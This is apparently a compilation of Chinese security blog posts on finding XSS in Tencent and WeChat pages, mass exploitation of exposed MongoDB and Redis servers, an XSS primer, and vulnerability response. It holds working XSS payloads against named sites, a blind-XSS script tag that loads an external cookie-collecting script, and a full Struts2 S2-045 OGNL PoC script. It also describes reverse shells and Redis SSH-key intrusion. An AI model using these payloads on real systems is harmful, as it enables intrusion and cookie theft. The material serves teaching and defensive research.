这是微信某个春节摇一摇活动的XSS（这里是生效了<h1>），通过微信访问活动页面，自动授权后获取微信昵称并自动显示在活动页面，当时微信昵称是：<h1>张祖优(Fooying)";alert(0)//，由于<h1>生效，导致昵称显示变大。

这仍然是腾讯某个产品的活动页面，也是通过微信点击自动获取昵称然后在活动页面显示，这个截图的页面链接实际是：

1

http://tdf.qq.com/mobile/index2.html?name=<a href="http://www.fooying.com">点击抽奖</a>&type=share&from=timeline&isappinstalled=1

相当于当时我的昵称是：<a href="http://www.fooying.com">点击抽奖</a>

这也是一个微信网页版存储型XSS，注入点同样是在昵称，通过访问通讯录可以触发XSS，触发的昵称大概是：<img src=0 onerror=alert(5)>。

看了几个漏洞，再给大家看看我之前的QQ昵称和微信昵称：

其中右图的昵称是<h1>张祖优(Fooying)";alert(0)//。

看了上面的例子，我想大家已经可以发现，前面的几个XSS其实都是基本通过昵称的位置提交攻击代码导致了XSS的产生，这其实就是一种XSS被动挖掘的技巧。其实漏洞挖掘，特别是XSS，有时候是靠主动挖掘，但更多的时候也可以通过被动的方式发现，特别是类似QQ、微信这种一号多用的情况，可以想象你的微信昵称、QQ昵称或者签名等，在不同的应用、网页中登录，你的昵称就会在不同的地方显示，这些昵称在微信、QQ本身不会导致问题的产生，但到了其他页面呢？也许就会导致问题的产生。

当然，现在微信应不允许设置含有特殊字符的昵称了，而QQ大家也可以看到，对尖括号进行了转义，不过在这之前，单单就微信昵称，通过这种方式，我起码发现了腾讯以及非腾讯的各种朋友圈中的活动的不下于二十个XSS。

网址跳转中的规律

这是一个13年提交的腾讯云登录跳转的XSS。

前一段时间雷锋网有对我做了一个采访，这篇文章也发在KM上，不知道大家有没有看到其中有一个细节，讲的是我为了哄女朋友开心，然后挖洞收集公仔，当时其实我是在两天内挖洞十几个洞，并且都是XSS。可能大家就会好奇为什么能一下子挖洞那么多的洞，还是不同厂商的，我现在能记得的有YY、4399、搜狐畅游等，其实是当时找到一个规律，上图中腾讯云的这个XSS也属于这个规律，所以就专门提出来。

登录和注册是大部分网站的必备功能，而不知道大家有没有注意到一个细节，当你在未登录状态下访问一些需要需要登录态的页面，比如个人中心，他会自动跳转到登录或者注册页面要求你登录，然后这个时候的登录URL其实会带有一个跳转URL，这是为了方便你登录后直接跳转到你原来访问的页面，是一个比较好的用户体验的设计。

在使用这样的功能的时候，我直接手上尝试，直接把跳转的URL修改为我的博客链接，然后再登录，发现可以直接跳转到我的博客，于是我再尝试了javascript%3Aalert(0)，发现JS代码可以直接执行并弹了个框。这个功能的设计其实原来是进行站内的跳转，但是由于功能设计上的缺陷，没有对跳转的URL进行判断或者判断有问题，于是可以导致直接跳转到其他网站或者产生XSS。当然，不止是登录，注册功能也存在同样问题。当时我去测试了很多网站，发现很多网站就存在这样的问题，于是我才可以做到连续去挖不同网站的漏洞来收集公仔，就是用了同样的一个问题。

1
2

http://www.xxx.com/login?url=xxx
http://www.xxx.com/reg?url=xxx

而整体的测试流程大概是这样的：

#号里的秘密

这是之前腾讯云官网的一个DOM XSS

这是之前微信国外版官网的一处 DOM XSS

这是之前ent.qq.com域下的一个DOM XSS，这里应该是实现一个页面访问来源统计的功能，将referer拼接到URL通过img加载的方式发起GET请求以此向服务端发送访问来源URL，黑客可以构造地址为http://www.0xsafe.com" onerror="alert(0) 的页面点击链接跳转到 http://datalib.ent.qq.com/tv/3362/detail.shtml，就可以触发XSS。

这是比较早提交的一个游戏igame.qq.com的DOM XSS，这处的XSS正好当时保存下JS，如下，读取window.location然后写入到ID为output的标签代码里，于是导致XSS的产生。

1
2
3
4
5
6
7

<script language="JavaScript">
    document.domain="qq.com";
    function pageLoaded(){
        window.parent.dhtmlHistory.iframeLoaded(window.location);
        document.getElementById("output").innerHTML = window.location;
    }
</script>

其实不难可以发现，这类XSS在大部分情况下也是有一些技巧可言的，比如大家可以发现网址中都存在#（DOM XSS不是一定URL得存在#，只是这种情况比较常见）；那么是不是见到网址中存在#就可以随便去修改#后面的内容就Fuzzing一通呢？当然不是，还需要去判断页面的源码中的JS代码以及页面引用的JS文件的代码中是否存在对以下内容的使用，是否存在没有过滤或者过滤不全的情况下将以下的内容直接输入到DOM树里。

1
2
3
4
5

document.location/location
document.URL
document.URLUnencoded
deddocument.referrer
window.location

一旦有存在以上的情况，那么往往存在DOM XSS的概率就比较大，接下来就是看看能不能绕过相关的过滤和安全机制的处理。

被改变的内容

这是之前挖的一个存在于以前PC 版本QQ的网页预览功能的一个XSS；通过在聊天窗口分享文章，然后点击链接会在右侧打开页面显示文章的内容，会导致XSS的产生。

为什么在客户端里也会存在XSS?其实很多客户端，包括现在很多手机APP，很多功能都是通过内嵌网页进行实现的，于是也就为什么会存在XSS等前端问题。这些网页可以通过设置代理的方式来发现。

这是一篇发表在博客园的文章，文章里包含一些XSS的攻击代码，但是可以发现代码在博客园本身已经被进行了转义，没法产生XSS。

而文章被在QQ中预览的时候，可以发现，被转义的攻击代码又转义了回来（因为这个功能需要只显示文本内容，而删除一些没必要的页面框架、内容的显示，所有对内容有做了一些转码等操作），导致的攻击代码的生效，并由此产生了XSS（其实这类XSS叫做mXSS，突变型XSS）。

这是一篇发表在微信公众号的文章，文章中包含了一些XSS盲打（后面会进行介绍）的攻击代码，然后可以看到，在微信公众号文章里代码被进行了转义，而无法生效产生XSS。

chuansong.me是一个第三方网站，会主动采集微信公众号上的一些文章并生成访问链接和索引，可以看到同样的一篇文章在被传送门采集转载后，本来会被转义的代码直接生效了，于是就成为了存储型XSS，我们通过盲打平台也可以看到其他用户访问这篇文章而被采集并发送到盲打平台的Cookie。

有的时候，被转义的内容也会成为生效的攻击代码，通过控制源头的方式也可以使得XSS的攻击产生。

随手进行的XSS盲打

这是我XSS盲打平台项目的其中一页结果截图，这里的每一项都包含对应网址访问用户的Cookie，而Cookie则可以用来直接登录对应的地址；在图里包含了360 soso、360游戏客服、新浪邮箱等几个网站的后台的Cookie，不过可惜的是，由于这些平台进行了访问限制，所以外网无法访问，也无法登录。

抛开无法访问的问题，那么这些信息是怎么得来了呢？XSS盲打。

常规的XSS攻击是通过页面返回内容中JS攻击代码的生效与否来判断XSS的攻击是否成功；而对于一些网页功能，比如反馈，我们可以发现，不管你提交什么内容，返回的内容都是"感谢您的反馈"类似的语句，并不会根据你提交的内容而在页面中显示不同的内容，对于这样的内容提交点，就无法通过页面反馈判断攻击代码是否注入成功，那么就可以通过XSS盲打。
XSS盲打一般通过XSS盲打平台，在XSS盲打平台建立项目，会生成项目攻击链接，实际上就是一个类似JS文件的访问链接，这个JS文件中其中至少包含一个功能，那就是向盲打平台发送GET/POST请求传输数据回来，比如Cookie，这样的话，类似在反馈页面提交的攻击代码一旦生效，就等于JS代码被执行，那么就会向盲打平台返回数据，那就说明攻击成功了；假如一直没有返回数据，那就说明提交的攻击代码没有执行或者执行出问题，也就证明攻击失败。
盲打平台的项目：

对于我而言，看到类似下图这样一个内容提交的地方，我都会忍不住提交盲打代码

1

</textarea>'"><script src=http://t.cn/R6qRcps></script>

而类似于这样的功能，如果存在XSS，一般会在什么地方什么时候出发攻击代码呢？管理人员在后台审核这些内容的时候，所以说一般XSS盲打如果成功，往往可以获得对应功能管理后台的地址以及管理员的Cookie，假如管理后台没有做访问的限制，就能用对应管理员的Cookie登录上去。

这就是上图手游客服中心盲打成功得到的后台地址和Cookie（当前已失效并修复）。

总结

在XSS的世界里有很多的Fuzzing技巧和方式，学会从正常功能中发现攻击方式，在Web安全的世界里，除了技术，还需要猥琐的思维和技巧。
另外，其实大家不难发现，不管是昵称、网址跳转或者是文章提到的内容转义的变化也好，很多时候内容原有的地方并不会触发XSS，而内容在其他地方使用后则就触发了XSS，所以对于开发人员来说，不管是来自哪里的内容，都应该有自己的过滤机制，而不能完全的信任，其实总结一句话就是：任何的输入都是有害的！

从MongoDB开始到MySQL，黑客瞄准了数据库服务，通过黑客手段获取数据库服务的权限，然后删除数据，在数据库中插入勒索信息，要求支付比特币以赎回数据（可见扩展阅读）。那么黑客是如何实现这整个过程？

MongoDB勒索事件

在MongoDB的勒索事件里，黑客攻击通过攻击存在未授权访问问题的MongoDB数据库，加密原数据内容，在数据库中插入勒索信息，要求支付比特币以赎回数据。（具体可见雷锋网的报道）

在这个事件中，我们来还原下黑客是怎么实现这个流程的：

大概是这样一个流程，通过探测互联网上符合的目标，然后使用对应的攻击脚本针对探测得到的目标实现自动化的攻击。

而细化到具体的探测目标和Exp的功能，以MongoDB数据勒索这个例子，探测目标主要是探测互联网上开放了27017端口的目标，然后进一步探测是否可以未授权直接连接目标：

而攻击脚本的功能大概是这样的：

就MongoDB这个例子，主要是利用了MongoDB未授权访问的这个问题；MongoDB默认安装是没有密码的，并且没有绑定IP，导致的问题就是外网可以访问这些MongoDB，并且由于无需授权，就可以直接未授权访问。

其实，这是一个自动漏洞批量利用的过程，不仅限于数据勒索，也不仅限于开始列的几种数据服务的未授权访问或者弱口令等安全问题，同样其他漏洞也是可以的。

黑客如何利用漏洞

往往一些漏洞在爆发之后，没多久就马上会爆发出漏洞的PoC和Exp，比如最近的Struts2新漏洞S2-045（CVE-2017-5638），漏洞在3月6日爆出，而在3月7日也就是第二天，PoC和Exp已经满天飞，就本次的漏洞来说，基本国内外大的互联网公司基本没有不受影响的；该漏洞可以导致命令执行，可以获得系统权限，在PoC和Exp出现的第一时间，已经基本是地上地下都在利用和扫描了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

import requests
import sys

def poc(url):
    payload = "%{(#test='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()). \    (#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(#ros.println(102*102*102*99)).(#ros.flush())}"
    headers = {}
    headers["Content-Type"] = payload
    r = requests.get(url, headers=headers)
    if "105059592" in r.content:
        return True
    return False

if __name__ == '__main__':
    if len(sys.argv) == 1:
        print "python s2-045.py target"
        sys.exit()
    if poc(sys.argv[1]):
        print "vulnerable"
    else:
        print "not vulnerable"

上面是这次S2-045的PoC，通过这些攻击脚本，黑客可以实现自动化的对漏洞进行利用。

15年11月也出现过一个安全事件，就是有黑客团体利用Redis设计缺陷成功入侵了至少10000家的Redis服务器（具体见nosec的报告）。在这个事件里，黑客基于Redis未授权访问问题，通过配合SSH Key的技巧批量的入侵了Redis服务器。

上面的视频是通过手动的方式演示了如何利用这个问题获取服务器的系统权限，而往往这个过程黑客是通过自动化的手段进行的，下面是的视频演示了如何通过工具自动化的获取攻击目标，利用PoC进行验证是否存在Redis未授权访问问题的。

其实每一次爆发的漏洞对于相关黑客来说，利用的过程不外乎如此；还有个例子，之前国外有个团队，捕获了一个使用ElasticSearch漏洞构建的僵尸网络，利用ElasticSearch的漏洞，对ElasticSearch服务器进行控制，整个僵尸网络最终可以用来进行DDOS攻击（分析报告）。

经过跟踪ElasticSearch公开的漏洞，他们发现，尤其在中国的相关论坛，CVE-2015-1427 被多次讨论和引用，这是一个ElasticSearch Groovy 脚本引擎的漏洞导致攻击者可绕过沙箱检查执行shell命令的命令执行漏洞。

这是个影响ElasticSearch 1.3.0-1.3.7以及1.4.0到1.4.2的漏洞，相关的PoC也就是漏洞验证代码以及Exp都已经在网上公开，黑客可以利用这个漏洞，执行Shell命令，通过perl执行一个perl脚本，来进行反弹shell，可以达到对服务器的控制。

什么是反弹shell呢？正常我们通过ssh连接linux等服务器，是主动的方式连接，而反弹shell，shell其实跟我们通过ssh连接的shell没什么大的区别，而反弹的意思是，控制端通过一些软件，比如nc，也就是netcat在控制端监听某个端口，被控制端，比如说linux 服务器，发起请求到该端口，并将其命令行的输入输出转到控制端。

我们通过一个视频来看下如何利用这个漏洞进行反弹shell来控制服务器的：

而其实黑客如何利用这个漏洞组建僵尸网络，也只是将这个利用过程自动化，批量化。

看到这我不知道大家是否可以发现，例子中黑客使用的漏洞都不是0DAY或者1DAY，应该算是NDAY（这里的数字指距离漏洞爆发已过去的时间）；其实，正如你所见，可能大家平时更多的觉得是0DAY的危害很大，但实际的情况是，0DAY更多的时候是作为一种最后的手段，并不是随手就能有0DAY，大部分的这种批量的攻击场景基本是NDAY，每次漏洞爆发，都有一大堆目标受影响，但这些受影响的目标，最终又有多少修复了漏洞，这就得另说了；实际的情况就是即使漏洞爆发过去很长时间，甚至一两年的时间也仍有众多的目标受影响，比如14年爆发出来的心脏出血漏洞，15年仍有众多目标受影响，甚至包括一些安全厂商的设备和知名互联网公司的服务器，甚至于现在去做检测，也仍有存在漏洞的目标。

漏洞的利用与修复一直都是安全对抗中一个主要的工作内容！

如何获取攻击目标

在上面的内容我们介绍了很多黑客攻击流程和黑客对漏洞的利用，但是似乎唯独漏了黑客是哪里得到这些攻击目标的。其实在一开始的MongoDB的说明中已经大概提到了。

每一次重要通用漏洞的爆发总是会带来一片腥风血雨，任何微小的漏洞，基于43亿IPv4地址这个大基数，总是可以被放大！

不知道大家有没有注意到引言的这段话，黑客的攻击其实都是基于43亿的IPv4而进行的，一个再小的漏洞，基于这个基数，那么得到的可攻击目标就不是一个小数。

最简单粗暴的方式，就是拿着攻击脚本通过分布式、自动化的方式全部攻击一遍，当然这个量就有点大，所以更合理的方式是探测符合的目标，比如MongoDB那个事件，需要探测存在MongoDB的服务器，也就是探测端口27017开放的服务器（MongoDB服务默认端口为27017，一般情况28017等情况也有可能，所以黑客在尝试的时候可能不止探测27017这个端口），然后进一步的探测是否符合漏洞利用条件，就MongoDB的例子也就是需要是存在未授权访问的情况，即不需要密码并且可远程连接。

类似MongoDB的端口27017其实就是指纹，黑客通过这些指纹去探测存在漏洞影响组件的服务器，不同的组件和服务都有不同的指纹，比如同样是通过端口的方式，那么Redis也就是6379，M有SQL是3306，还有比如说"WWW-Authenticate: Basic realm="TD-8817"这个存在于HTTP头部的指纹可以探测TP-Link TD-8817路由器；当然，不排除自定义的情况，但出于成本等方面的，一般黑客在攻击的时候选择忽略特殊的情况。通过探测出符合漏洞影响组件的目标后，这些目标就成为攻击脚本执行的目标。

除了指纹探测服务或者组件的存在与否，也可以进一步探测安装的组件的版本是否在漏洞影响的版本范围内，以此来缩小最终要使用攻击脚本进行攻击的目标范围。精确的指纹和版本信息，可以缩小需要攻击的目标范围，从而减少攻击成本。

其实，通过指纹的方式对于相关目标进行服务和组件的探测，国内外已经有一些安全平台，比如ZoomEye（https://www.zoomeye.org）、撒旦（https://www.shodan.io/ ，如下图搜索MySQL服务的目标）等，大家如果想尝试，可以直接访问去搜索相关组件的目标，比如"app:wordpress" 在ZoomEye上搜索Wordpress搭建的站点；在Redis那个未授权访问问题的自动化演示的视频中，其实就是调用了ZoomEye的API来获取存在Redis服务的目标。

当然，看到这些平台，你可能第一时间想到的是帮助了攻击者，这个具体怎么看待把，因为这些平台的初衷肯定不是如此，就像早期的电脑到底是好是坏的讨论一样；在相关黑客的手里其实也存在这样的平台，或者就是通过脚本直接根据不同的漏洞对43亿IPv4或者其他已知目标列表进行探测，然后自动化的攻击。

讲到最后，其实大家可以发现，不仅仅是数据勒索，这其实更多的是一种通用的漏洞自动化攻击利用的流程，唯一的区别在不同的漏洞能够获取的权限不同，对应的在获取到权限后能做的事也不同，所以就存在对应的利用，比如数据勒索，比如组件僵尸网络用于DDoS，比如用来挖矿，还比如批量黑了路由器进行DNS劫持等。

在企业的安全风险的不同维度里，通用漏洞一直是个棘手的问题，因为你没法事先知道问题，只能在漏洞爆发的时候第一时间去修复漏洞，所以，尽可能的选择一些靠谱的组件，多关注安全，加强漏洞和安全的应急响应，避免由此导致的安全风险！

扩展阅读

• 《点到面的漏洞研究与利用–从黑产的角度思考利用漏洞》
• 《MySQL成勒索新目标，数据服务基线安全问题迫在眉睫》
• 《Redis 未授权访问缺陷可轻易导致系统被黑》

XSS全称跨站脚本(Cross Site Scripting)，为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆，故缩写为XSS，比较合适的方式应该叫做跨站脚本攻击。

跨站脚本攻击是一种常见的web安全漏洞，它主要是指攻击者可以在页面中插入恶意脚本代码，当受害者访问这些页面时，浏览器会解析并执行这些恶意代码，从而达到窃取用户身份/钓鱼/传播恶意代码等行为。

上图就是一个典型的存储型XSS。

什么是Payload？

Payload是一个专业术语，中文翻译过来是是有效荷载，可能经常会从搞安全的口里说出，那么什么是Payload？什么又是Exp？什么又是PoC？

先介绍PoC，PoC的全称是Proof of Concept，意思为概念验证，通俗的可以理解为漏洞验证脚本；而Exp是Exploit的简写，意思为漏洞利用，两者的区别即使一个仅限于验证，而一个是攻击利用。那么Payload呢？Payload是组成PoC和Exp的必要部分，也可以理解为验证代码。

打个比喻，假如某个窗户存在问题，任何钥匙都可以开，那么这个比喻为一个漏洞，那么用钥匙打开窗户，看下是否可以打开，这是PoC做的事，而打开窗户后进去偷东西，这是Exp做的事，而那把钥匙就可以理解为Payload，Payload不区分是否攻击利用。

比如刚才上图中的那个XSS漏洞的Payload 如下：

1
2

<img src=0 onerror=alert(5)>

XSS是怎么产生的？

经常也会听到一个词，注入点，或者说专业术语是向量，指的是黑客可控内容的提交的位置，比如下图中，搜索框，黑客可以控制输入的内容，然后进行提交，那么实际在测试漏洞的时候，就可以把注入点的内容替换为Payload进行验证。

1. GET 请求参数
2. POST请求参数
3. UA
4. Referer
5. URI
   …

一切可以提交数据到页面的点都称作向量

而XSS或者说Web漏洞是怎么产生的？对非预期输入的信任！
安全的本质是信任的问题，在上图中，搜索框的设置对于开发者来说，理论上应该输入的是正常的字符串，进行搜索，这是一种对输入的信任，并且这种信任对于开发者来说是有预期的，在他的预期里输入是正常的字符串，而漏洞的产生就在于出现了非预期的情况，开发者没有针对性的做处理。

这是以前挖的一个联想商城的XSS。

1
2

test //预期无害的输入
XSStest" onmouseover=alert(4438) x="  //非预期输入

XSS分类

接下来来看看不同的XSS分类。

• 反射型（非持久型）
• 存储型（持久型）
• DOM型

这是最常见的三种分类：

存储型

存储型XSS也叫持久型XSS，存储的意思就是Payload是有经过存储的，当一个页面存在存储型XSS的时候，XSS注入成功后，那么每次访问该页面都将触发XSS，典型的例子是：

如留言板

1. 插入留言=>内容存储到数据库
2. 查看留言=>内容从数据库提取出来
3. 内容在页面显示

如果这里存在XSS，Payload可以通过留言内容提交，然后显示在页面的时候可以生效，那么就是典型的存储型XSS。

开头的那个就是存储型XSS，而这个也是之前微信网页版存在的另外一个存储型XSS，昵称中包含XSS 的Payload，在点开查看群成员列表的时候就可以触发XSS。

反射型

反射型XSS也叫非持久型XSS，最常见的是Payload是构造在网址的某个GET参数的值里。 比如这样的：

1

http://www.xx.com/company/search.html?key_pro="><script>confirm(1501)</script>

与存储型相反，反射型XSS的是通过提交内容，然后不经过数据库，直接反射回显在页面上，比如说以下代码就存在反射想的XSS，通过参数get的值提交Payload：

1

echo $_GET\['get'\];

这是之前微信朋友圈的一个活动，一个很常见的形式，通过微信点击进入，授权登录，自动获取微信昵称，然后生成邀请函，而实际上读取的昵称是构造在网址上的，由于没有过滤，于是存在反射型XSS，点击的话就会跳转我的博客。

1

http://tdf.qq.com/mobile/index2.html?name=<a href="http://www.fooying.com">点击抽奖</a>&type=share&from=timeline&isappinstalled=1

DOM 型

其实DOM型也属于反射型的一种，不过比较特殊，所以一般也当做一种单独类型。 比如之前挖过的一个wechat.com的DOM型XSS，最终构造完网址地址是这样的：

1

http://wechat.com/en/features.html#<img src=0 onerror='alert(0)'>

而其背后代码生效大概是这样的：

1
2
3
4

<script>
var name = location.hash;
document.write(name);
</script>

上图是以前挖的一个qq.com子域名的一个注入点存在于Referer的DOM型XSS，在页面地址为http://www.0xsafe.com" onerror="alert(0)的页面点击链接跳转到datalib.ent.qq.com/tv/3362/detail.shtml，就可以触发XSS，页面中存在JS语句获取Referer，然后通过页面加入img标签的的方式发起了一个GET请求，应该是一个访问来源记录的东西，而对于Referer的值没有做处理，于是就存在DOM型XSS。

其他类型XSS

上面是大家经常听到的XSS类型，其实细分下来还有其他的XSS类型：

• mXSS 突变型XSS
• UXSS 通用型XSS
• Flash XSS
• UTF-7 XSS
• MHTML XSS
• CSS XSS
• VBScript XSS

其中UTF-7、MHTML XSS、CSS XSS、VBScript XSS 只在低版本的IE中可以生效，现在应该基本不可见了，不过还是给大家介绍下。

mXSS

mXSS中文是突变型XSS，指的是原先的Payload提交是无害不会产生XSS，而由于一些特殊原因，如反编码等，导致Payload发生变异，导致的XSS。下面的漏洞是存在于以前版本的PC的QQ客户端的页面预览功能。

这是博客园提交的一篇文章，可以看到，提交的XSS Payload已经被转义了，不产生危害。

上图是在QQ客户端里分享上面的博客园那篇文章的链接，而QQ存在网址预览功能，于是点击网址可以在右侧显示出优化后的页面的内容，就导致了XSS的产生；这个预览功能实际上是QQ客户端内嵌了一个网页，这个页面对原网页内容进行提取和处理的过程中，将原本无害的XSS Payload进行了转码操作，于是导致了Payload 变异而产生了XSS，我记得这个XSS，我前后一共绕过了三四次，然后提交给了TSRC。

实际上，页面预览这个功能不是针对所有网址都可以预览，对于一些大型的网站，估计是有白名单机制或者是认证的网站，才能进行预览，随便一个网址是不可以的，这本身也是一种信任的限制在里面，如果是随意的网站，那就更好控制内容了，所以对于域名是有限制的；这里也存在一个信任的问题，理论上，这些大站的内容应该是没问题的，但实际情况是可被控制而导致产生XSS。

UXSS

UXSS全称Universal Cross-Site Scripting，翻译过来就是通用型XSS，也叫Universal  XSS。UXSS是一种利用浏览器或者浏览器扩展漏洞来制造产生XSS的条件并执行代码的一种攻击类型。UXSS 可以理解为Bypass 同源策略。

同源策略：不同域的客户端脚本在没明确授权的情况下，不能读写对方的资源

上图就是一个安卓内核浏览器存在的UXSS，访问www.0xsafe.org/x.html，页面嵌套TSRC的页面，然后可以读取到TSRC站点的Cookie，具体的介绍我之前有写过一篇文章： 通用跨站脚本攻击(UXSS)

Flash XSS

1
2
3
4
5
6
7

var a:String = root.loaderInfo.parameters.par
if(ExternalInterface.available){
    ExternalInterface.call("alert",a)
} else {
    trace(100)
}
stop()

Flash 产生的XSS主要来源于：

• getURL/navigateToURL  访问跳转
• ExternalInterface.call 调用js函数

前者是访问跳转到指定URL，后者则是调用页面中JS函数，比如上面的代码就会导致弹框。

1

http://img.xiami.net/res/kuang/xiamikuang5tab.swf?rname=%E6%96%B0%E6%AD%8C%3C%3E&dataUrl=http://www.0xsafe.org/0.xml&ccnum=300&recordNum=30

这是之前虾米的一个播放器页面，然后分享功能可以通过网址里的参数直接控制一些值，于是就存在了可控的注入点，通过构造Payload可以触发，当点击进行分享的时候就会触发XSS。

这里也有篇介绍Flash XSS的文章：https://www.secpulse.com/archives/44299.html，大家感兴趣的也可以看下。

UTF-7 XSS

在以下两种场景可以在低版本IE浏览器触发UTF-7 XSS：

• meta未指定编码，特定版本IE发现内容存在UTF-7编码内容，则自动以UTF-7解码处理
• 指定编码为UTF-7

UTF-7 XSS与普通XSS的区别就在于构造的Payload是UTF-7编码的，而基于上面两个场景的特性，低版本IE浏览器会自动解码，于是就可以产生XSS。

上图中，a变量的值就是UTF-7 XSS 的Payload，实际上是正常Payload UTF-7编码后的结果。

MHTML XSS

MHTML XSS 同样只存在于低版本的IE中，MHTML是MIME HTML (Multipurpose Internet Mail Extension HTML，聚合超文本标记语言)的缩写，把一个多附件（如图片，flash动画等）的网页内容都保存到单一档案的标准，是类似HTTP的协议，在IE中，当嵌入资源的URL的协议为MHTML 时，IE将调用MHTML Protocol Handler，把该资源当作MHTML格式文件解析处理。

x.html 内容：

1
2
3
4
5
6

Content-Type:multipart/related;boundary="x"
--x
Content-Location:xss
Content-Transfer-Encoding:base64
PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==
--x--

其中

1

PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg== BASE64解码:<script>alert(1)</script>

通过特定的访问方式：

1

mhtml:www.x.com/a.html!xss

就可以触发XSS，具体更多内容大家也可以自己搜索看看。

CSS XSS

1
2
3

<style>
    body {width:expression(alert(1));: red;}
</style>

CSS XSS 是缘于IE8 Beta2以前版本支持使用expression在CSS中定义表达式(公式)来达到建立元素间属性之间的联系等作用，于是就可以通过以上代码的方式触发XSS。

VBScript XSS

VBScript XSS 同上面几种XSS一样，也是微软的产物，也可以触发XSS。

1
2
3

<input type ="button" onClick="VBScript:Document.Write 'hello mr. Fooying'

MsgBox 'xss'">

XSS防御

XSS的防御我就不多说了，之前有翻译过OWASP Xenotix XSS 漏洞利用框架作者Ajin Abranham写的一个《给开发者的终极XSS防御备忘录》，大家可以自己看看。

其他

其实关于XSS，有很多东西可以深入，包括说学习XSS需要了解各种编码转义，各种绕过，这篇文章主要是进行入门的介绍，然后附件里还附了一个附件是介绍XSS蠕虫的，以前翻译的，大家也可以自己看看，下面是是一些学习资源。

一些在线XSS游戏

• http://prompt.ml/ 答案：https://github.com/cure53/xss-challenge-wiki/wiki/prompt.ml
• http://escape.alf.nu/ 答案：http://blog.163.com/cmdbat@126/blog/static/17029212320149385547765/
• https://xss-game.appspot.com/  答案：http://www.freebuf.com/articles/web/36072.html
• http://xss-quiz.int21h.jp/ 答案：http://blog.163.com/cmdbat@126/blog/static/1702921232013112542728566/

一些学习网址

• https://www.owasp.org/index.php/XSS
• https://www.google.com/about/appsecurity/
• http://www.freebuf.com/author/black-hole（看原理与剖析系列）
• http://html5sec.org/
• http://www.pkav.net/
• https://xssing.org/

这个内容在以前在北航、QCon做分享的时候讲过相关的内容，做了下整理,部分内容是来自COS之前的PPT。

注：文章内容仅限于研究！

典型的漏洞应急响应

这是漏洞爆发的黄金应急响应时间，分别是在漏洞爆发的1小时内、6小时内、12小时内以及24小时内，在我过去经历的的漏洞应急响应中，一般最晚在12小时内可以完成，也曾经历过比较重大的，通宵熬夜应急了48小时。而在这黄金应急响应时间里都要做什么呢？大概是这样一个应急流程：

在漏洞爆发后，第一时间通过各种渠道方式获取漏洞的详细信息，然后验证漏洞的真实性，并且分析漏洞，根据已知的情况进行漏洞利用研究，如果有相关的安全产品，如WAF、扫描器等，则有相关人员根据分析结果输出防护规则和检测规则，其次输出漏洞的检测代码，也是就是常说的PoC（Proof of Concept），然后撰写漏洞的分析Paper，对外进行技术PR，给客户输出解决方案等。对于一家普通的乙方公司而言，这就差不多完成了一个漏洞应急的流程，这个漏洞则会录入漏洞库，有的时候后续会继续进行跟踪，比如说破壳漏洞爆发的时候，官方发布了7次补丁，于是导致了新的六个CVE的出现，因为前6次补丁都被相关安全研究人员绕过，没有完成漏洞的完全修复，而破壳漏洞当时我们也连续跟踪了好几天，破壳漏洞详情可见https://www.seebug.org/vuldb/ssvid-88877。

点到面的漏洞研究与利用

那么怎样又是从点到面的漏洞研究和利用呢？从之前应急的一个安全事件举例说起，Redis等未授权访问的问题一直都存在，原因在于默认的安装配置没有强制要求设置密码和访问IP，于是用户默认安装情况下，经常会导致服务直接在公网开放，并且无需密码可以直接访问，等于你知道服务器的IP就可以直接连上进行操作；而15年底就有爆发过有黑客利用这点对互联网上存在问题的Redis服务进行攻击（样本关键词：crackit）。

这个漏洞的具体利用过程大概是这样的，下面是一个模拟攻击的视频：

按照漏洞的利用情况，最终可以达到获取系统权限的目的，但漏洞的利用其实有几个条件：

从传统的单点漏洞研究的角度来看，这次事件对应的利用要求众多，价值似乎不是那么大，估计在互联网上找个符合条件的目标都不容易找，最多搭建下测试环境，然后做个分析，输出个报告就差不多了，比如（这个报告其实包含了面的角度利用的一些统计和分析）：
http://blog.knownsec.com/2015/11/analysis-of-redis-unauthorized-of-expolit/

不知道大家是不是也是认为符合利用条件的目标应该不多？但实际上的情况呢？大家先看几个图：

然后就是我们当时统计的一组数据：
根据 ZoomEye 最于2015年11月12日0点探测结果显示： 总的存在无验证可直接利用 Redis 服务的目标全球有49099，其中中国有16477。其中已经被黑的比例分别是全球65%（3.1万），中国67.5%（1.1万）。

注：ZoomEye是之前我负责过的一个网络空间搜索引擎，可以理解为黑客搜索引擎，可以通过它搜索开放在互联网上的各种设备（比如：port:3306可以搜索MySql服务，app:wordpress 可以搜索用wordpress搭建的网站），后面会比较经常出现。

是不是觉得有点出乎意料？为什么会有这么多符合利用条件的目标，这就是从面的角度与点的角度的区别，从点的角度似乎这个漏洞利用极难，但是从面的角度，在互联网这个大环境，足够大的基数，那么一切都可以变得足够大！

再看下下面这个截图，是一篇文章的截图：

其实在我们做研究之前，同样的利用黑产已经早就想到并且付诸实践了，通过同样的问题和视频演示的技巧，黑产批量的攻击这些存在问题的服务器，然后获取权限，组件成僵尸网络用于进行DDoS攻击。

有一种攻击方式叫做撒网式攻击，比如说还是这个Redis未授权访问的问题，有过一个测试（是不是我们你们猜？当然不是我们），对1600家网贷网站（通过一些导航网站获取得到），采集他们的域名、子域以及对应的IP，以及IP所在的C段，得到一个IP列表，对列表中的IP进行一个个的探测，最终发现存在3839个开放的Redis服务，其中存在无密码可直接访问的情况占了1/3。这些Redis里都有什么？

看到第一张图里的userinfo了吗？包含用户的账号和密码，尝试登录这些账户，发现不少账户里都存在不少金额；想想黑产会怎么利用？批量攻击，批量提取账户里的钱可否？或者其他的？

其实对于这些NoSQL，不止是Redis，同样其他在默认配置安装时没有设置账号密码、开放在公网的其他数据服务，如Memcached、ElasticSearch、 MongoDB同样存在可被利用的情况，正好也有MongoDB的探测情况（2014年数据）：通过对开放在公网的MongoDB服务进行探测，发现无口令至少有3.8万IP，也就是这3.8万个MongoDB是直接可以随意操作的，包括下载数据、删除数据等。

举一反三

